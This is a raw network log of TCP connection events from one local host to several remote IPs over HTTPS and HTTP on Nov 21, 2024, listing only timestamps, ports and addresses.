Nov 21, 2024 14:26:24.869703054 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.874155045 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.874229908 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.874248981 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.875835896 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.890389919 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.890408993 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.890420914 CET	49711	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.890429020 CET	443	49711	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.969264984 CET	49715	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.969305038 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.969455957 CET	49715	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.970813036 CET	49716	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.970841885 CET	443	49716	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.970926046 CET	49716	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.971784115 CET	49717	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.971817017 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.971870899 CET	49717	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.972146034 CET	49715	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.972161055 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.973232031 CET	49718	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.973244905 CET	443	49718	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.973386049 CET	49718	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.973566055 CET	49718	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.973581076 CET	443	49718	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.973885059 CET	49716	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.973897934 CET	443	49716	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.974407911 CET	49717	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.974420071 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.976211071 CET	49719	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.976218939 CET	443	49719	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:24.976272106 CET	49719	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.976521969 CET	49719	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:24.976525068 CET	443	49719	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:25.372268915 CET	49710	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:26:25.415366888 CET	443	49710	52.149.20.212	192.168.2.5
Nov 21, 2024 14:26:25.957221031 CET	443	49710	52.149.20.212	192.168.2.5
Nov 21, 2024 14:26:25.957251072 CET	443	49710	52.149.20.212	192.168.2.5
Nov 21, 2024 14:26:25.957257986 CET	443	49710	52.149.20.212	192.168.2.5
Nov 21, 2024 14:26:25.957276106 CET	443	49710	52.149.20.212	192.168.2.5
Nov 21, 2024 14:26:25.957298040 CET	443	49710	52.149.20.212	192.168.2.5
Nov 21, 2024 14:26:25.957324982 CET	49710	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:26:25.957415104 CET	443	49710	52.149.20.212	192.168.2.5
Nov 21, 2024 14:26:25.957459927 CET	49710	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:26:25.957484007 CET	49710	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:26:25.974766016 CET	443	49710	52.149.20.212	192.168.2.5
Nov 21, 2024 14:26:25.974854946 CET	49710	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:26:25.974891901 CET	443	49710	52.149.20.212	192.168.2.5
Nov 21, 2024 14:26:25.981596947 CET	443	49710	52.149.20.212	192.168.2.5
Nov 21, 2024 14:26:25.981663942 CET	49710	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:26:26.750263929 CET	443	49719	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:26.750514030 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:26.751194000 CET	49717	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:26.751218081 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:26.751238108 CET	49719	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:26.751249075 CET	443	49719	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:26.751777887 CET	49717	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:26.751782894 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:26.751821041 CET	49719	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:26.751823902 CET	443	49719	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:26.765269995 CET	443	49718	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:26.765635014 CET	49718	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:26.765660048 CET	443	49718	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:26.766011953 CET	49718	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:26.766031981 CET	443	49718	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:26.812700987 CET	443	49716	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:26.817544937 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:26.821645021 CET	49716	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:26.821681023 CET	443	49716	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:26.822082043 CET	49716	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:26.822094917 CET	443	49716	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:26.822232962 CET	49715	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:26.822256088 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:26.822582006 CET	49715	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:26.822586060 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.184550047 CET	443	49719	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.184632063 CET	443	49719	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.184694052 CET	49719	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.184935093 CET	49719	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.184952974 CET	443	49719	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.184963942 CET	49719	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.184968948 CET	443	49719	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.188282013 CET	49722	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.188381910 CET	443	49722	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.188493967 CET	49722	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.188688040 CET	49722	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.188719988 CET	443	49722	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.189219952 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.189245939 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.189291954 CET	49717	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.189304113 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.189341068 CET	49717	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.189482927 CET	49717	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.189486980 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.189498901 CET	49717	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.189629078 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.189662933 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.189708948 CET	49717	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.191730976 CET	49723	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.191759109 CET	443	49723	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.191885948 CET	49723	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.191956043 CET	49723	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.191970110 CET	443	49723	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.215872049 CET	443	49718	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.215925932 CET	443	49718	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.216057062 CET	49718	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.216084957 CET	443	49718	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.216166973 CET	49718	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.216183901 CET	443	49718	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.216192961 CET	49718	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.216507912 CET	443	49718	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.216584921 CET	443	49718	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.216628075 CET	49718	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.218956947 CET	49724	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.219063044 CET	443	49724	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.219218969 CET	49724	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.219449997 CET	49724	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.219482899 CET	443	49724	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.254945040 CET	443	49716	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.255098104 CET	443	49716	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.255162001 CET	49716	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.255357981 CET	49716	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.255378962 CET	443	49716	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.255390882 CET	49716	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.255398035 CET	443	49716	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.257718086 CET	49725	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.257786989 CET	443	49725	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.257903099 CET	49725	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.258100033 CET	49725	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.258132935 CET	443	49725	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.276201010 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.276226997 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.276292086 CET	49715	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.276316881 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.276369095 CET	49715	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.276547909 CET	49715	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.276551962 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.276568890 CET	49715	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.276766062 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.276804924 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.276870012 CET	49715	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.278928041 CET	49726	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.278983116 CET	443	49726	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.279062033 CET	49726	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.279238939 CET	49726	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:27.279264927 CET	443	49726	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:27.566205025 CET	49710	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:26:27.566246986 CET	443	49710	52.149.20.212	192.168.2.5
Nov 21, 2024 14:26:27.566267014 CET	49710	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:26:27.566276073 CET	443	49710	52.149.20.212	192.168.2.5
Nov 21, 2024 14:26:28.078672886 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:28.078785896 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:28.078891039 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:28.117779970 CET	49713	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:28.117804050 CET	443	49713	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:28.172102928 CET	49728	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:28.172143936 CET	443	49728	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:28.172236919 CET	49728	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:28.173250914 CET	49728	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:28.173269033 CET	443	49728	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:29.005707026 CET	443	49724	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.006412983 CET	49724	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.006462097 CET	443	49724	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.008716106 CET	49724	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.008728981 CET	443	49724	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.043920994 CET	443	49722	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.044641972 CET	49722	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.044677973 CET	443	49722	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.045295954 CET	49722	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.045304060 CET	443	49722	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.048619032 CET	443	49723	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.049016953 CET	49723	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.049046040 CET	443	49723	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.049571037 CET	49723	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.049576998 CET	443	49723	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.242059946 CET	443	49726	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.243056059 CET	49726	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.243132114 CET	443	49726	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.243452072 CET	49726	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.243472099 CET	443	49726	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.253160000 CET	443	49725	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.253473997 CET	49725	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.253506899 CET	443	49725	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.253880024 CET	49725	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.253890038 CET	443	49725	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.453665972 CET	443	49724	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.453732014 CET	443	49724	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.453875065 CET	49724	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.454154015 CET	49724	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.454181910 CET	443	49724	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.454199076 CET	49724	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.454207897 CET	443	49724	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.454510927 CET	443	49728	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:29.454581022 CET	49728	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:29.457626104 CET	49729	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.457659006 CET	443	49729	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.457745075 CET	49729	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.457907915 CET	49729	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.457921028 CET	443	49729	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.458471060 CET	49728	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:29.458487988 CET	443	49728	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:29.458837032 CET	443	49728	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:29.465604067 CET	49728	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:29.465626001 CET	49728	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:29.465884924 CET	443	49728	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:29.498146057 CET	443	49722	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.498222113 CET	443	49722	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.498295069 CET	49722	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.498590946 CET	49722	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.498606920 CET	443	49722	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.498625040 CET	49722	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.498632908 CET	443	49722	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.501315117 CET	443	49723	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.501394987 CET	443	49723	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.501725912 CET	49723	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.501761913 CET	49723	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.501787901 CET	443	49723	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.501830101 CET	49723	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.501837015 CET	443	49723	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.502187967 CET	49730	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.502237082 CET	443	49730	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.502324104 CET	49730	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.502454996 CET	49730	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.502470016 CET	443	49730	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.504358053 CET	49731	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.504399061 CET	443	49731	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.504483938 CET	49731	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.504657984 CET	49731	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.504671097 CET	443	49731	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.688688993 CET	443	49726	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.688786030 CET	443	49726	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.688994884 CET	49726	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.689358950 CET	49726	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.689405918 CET	443	49726	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.689435959 CET	49726	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.689451933 CET	443	49726	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.692513943 CET	49732	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.692564011 CET	443	49732	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.692657948 CET	49732	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.692790031 CET	49732	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.692800999 CET	443	49732	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.707171917 CET	443	49725	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.707371950 CET	443	49725	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.707479000 CET	49725	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.707824945 CET	49725	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.707824945 CET	49725	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.707855940 CET	443	49725	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.707870960 CET	443	49725	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.710777998 CET	49733	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.710813999 CET	443	49733	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:29.710911989 CET	49733	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.711041927 CET	49733	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:29.711055040 CET	443	49733	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:30.185843945 CET	443	49728	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:30.185961962 CET	443	49728	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:30.186156988 CET	49728	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:30.186299086 CET	49728	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:30.186345100 CET	443	49728	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:30.186373949 CET	49728	443	192.168.2.5	188.114.96.3
Nov 21, 2024 14:26:30.186389923 CET	443	49728	188.114.96.3	192.168.2.5
Nov 21, 2024 14:26:30.188931942 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:30.308412075 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:30.308495045 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:30.308885098 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:30.428576946 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.216363907 CET	443	49730	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.217315912 CET	49730	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.217366934 CET	443	49730	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.219717979 CET	49730	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.219736099 CET	443	49730	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.451145887 CET	443	49731	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.451982021 CET	49731	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.452047110 CET	443	49731	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.452472925 CET	49731	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.452486992 CET	443	49731	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.538655996 CET	443	49732	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.539252996 CET	49732	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.539271116 CET	443	49732	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.539741039 CET	49732	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.539748907 CET	443	49732	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.651218891 CET	443	49730	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.651309013 CET	443	49730	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.651400089 CET	49730	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.651628971 CET	49730	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.651649952 CET	443	49730	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.651665926 CET	49730	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.651673079 CET	443	49730	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.654288054 CET	443	49729	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.654725075 CET	49729	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.654762983 CET	443	49729	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.655174017 CET	49729	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.655180931 CET	443	49729	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.655455112 CET	49735	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.655493975 CET	443	49735	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.655566931 CET	49735	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.655750990 CET	49735	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.655761957 CET	443	49735	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.716475964 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.716520071 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.716622114 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:31.716772079 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.716866970 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.716882944 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.716907978 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:31.718230963 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.718291044 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.718300104 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.718416929 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:31.718688011 CET	443	49733	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.719266891 CET	49733	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.719288111 CET	443	49733	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.719916105 CET	49733	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.719919920 CET	443	49733	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.719921112 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.720021963 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.720076084 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:31.836272001 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.836299896 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.836359978 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:31.840377092 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.842103004 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.842156887 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.842169046 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:31.891371012 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:31.918029070 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.918077946 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.918158054 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:31.920452118 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.920558929 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.920605898 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:31.928863049 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.928955078 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.929007053 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:31.937201977 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.937311888 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.937362909 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:31.945643902 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.945760012 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.945813894 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:31.953038931 CET	443	49731	13.107.246.45	192.168.2.5
